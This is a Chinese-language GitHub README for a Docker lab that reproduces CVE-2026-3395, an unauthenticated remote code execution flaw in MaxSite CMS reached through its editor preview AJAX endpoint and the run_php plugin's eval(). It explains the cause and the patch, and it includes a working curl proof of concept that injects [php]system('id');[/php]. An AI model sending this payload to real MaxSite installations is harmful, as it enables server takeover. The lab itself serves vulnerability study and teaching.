rootdirective-sec/CVE-2026-3395-Lab
GitHub: rootdirective-sec/CVE-2026-3395-Lab
CVE-2026-3395 漏洞复现实验环境,用于研究和学习 MaxSite CMS 未授权远程代码执行漏洞的成因与修复方案。
Stars: 0 | Forks: 0
# CVE-2026-3395 — MaxSite CMS 未授权 RCE 实验环境
本仓库仅供教育和研究目的使用。
所有测试必须在本地 Docker 实验环境中进行。
请勿将此设置部署到公共或生产系统。
## 概述
CVE-2026-3395 影响 MaxSite CMS,允许未经授权访问管理 AJAX 端点。当启用 `run_php` 插件时,用户输入可以通过 CMS hook 系统作为 PHP 代码执行,这可能导致远程代码执行 (RCE)。
本仓库包含:
* 一个漏洞版本(补丁前提交)
* 一个已修复版本(补丁后提交)
* 用于复现的 Docker 实验环境
* 安全的影响证明演示
## 漏洞概述
漏洞端点位于:
```
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
```
在漏洞版本中:
* 该端点可以在没有身份验证的情况下访问
* 用户输入(`POST data`)通过 `mso_hook()` 传递
* `run_php` 插件处理 `[php]...[/php]` 代码块
* 该插件使用 `eval()` 执行其中的代码
如果启用了 `run_php`,这将导致未授权的远程代码执行。
修复版本添加了:
```
if (!is_login()) die('no login');
mso_checkreferer();
```
这将访问限制为仅限经过身份验证的用户。
## Docker 实验环境设置
此实验环境构建两个环境:
| 环境 | 端口 |
| ---------- | ---- |
| 漏洞版本 | 8081 |
| 已修复版本 | 8082 |
## 系统要求
* Docker
* Docker Compose v2
### 1. 构建并启动
```
docker compose up -d --build
```
这将:
* 构建两个镜像
* 启动数据库
* 自动运行 CMS 安装程序
* 在实验环境配置中启用 `run_php`
### 2. 验证安装
在浏览器中打开:
```
http://localhost:8081 (Vulnerable)
http://localhost:8082 (Patched)
```
两个实例都应成功加载。

## 漏洞证明(仅限实验环境)
AJAX 路由使用 base64 编码的路径。
以下内容的 Base64:
```
admin/plugins/editor_markitup/preview-ajax.php
```
是:
```
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
```
### 漏洞实例测试
```
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"
```

### 已修复实例测试
```
curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
```
预期结果:
```
no login
```

## 停止实验环境
要停止容器:
```
docker compose down -v
```
## 免责声明
仅在隔离环境中使用本项目进行研究和学习。
## 参考
* 公开报告:[https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE/](https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE/)
* VulDB 条目:[https://vuldb.com/?submit.762169](https://vuldb.com/?submit.762169)
* 官方补丁提交:[https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3](https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3)
标签:AJAX 接口漏洞, CISA项目, CVE-2026-3395, Docker 靶场, eval 注入, MaxSite CMS, PHP 代码执行, RCE, run_php 插件, Web 安全, 未授权访问, 本地安全测试, 漏洞修复, 漏洞复现, 版权保护, 编程工具, 网络安全培训, 认证绕过, 请求拦截, 远程代码执行, 高危漏洞